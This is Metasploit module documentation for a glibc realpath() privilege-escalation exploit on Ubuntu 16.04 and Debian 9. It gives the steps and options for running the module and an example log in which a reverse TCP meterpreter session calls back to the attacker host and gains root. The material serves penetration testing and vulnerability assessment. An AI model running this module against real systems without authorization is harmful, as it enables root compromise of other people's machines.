metasploit-gs/documentation/modules/exploit/linux/local/glibc_realpath_priv_esc.md

Description

This module attempts to gain root privileges on Linux systems by abusing a vulnerability in GNU C Library (glibc) version 2.26 and prior.

This module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.

The target system must have unprivileged user namespaces enabled.

Vulnerable Application

This module has been tested successfully on:

• Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9
• Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1

Verification Steps

1. Start msfconsole
2. Get a session
3. use exploit/linux/local/glibc_realpath_priv_esc
4. set SESSION [SESSION]
5. check
6. run
7. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /tmp)

COMPILE

Options: Auto True False (default: Auto)

Whether the exploit should be live compiled with gcc on the target system, or uploaded as a pre-compiled binary.

Auto will first determine if gcc is installed to compile live on the system, and fall back to uploading a pre-compiled binary.

Scenarios

msf5 > use exploit/linux/local/glibc_realpath_priv_esc 
msf5 exploit(linux/local/glibc_realpath_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/glibc_realpath_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.DhRxy0FQR.c' (35470 bytes) ...
[*] Writing '/tmp/.Piya56UZVV' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (853256 bytes) to 172.16.191.171

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.171
OS           : Ubuntu 16.04 (Linux 4.10.0-28-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux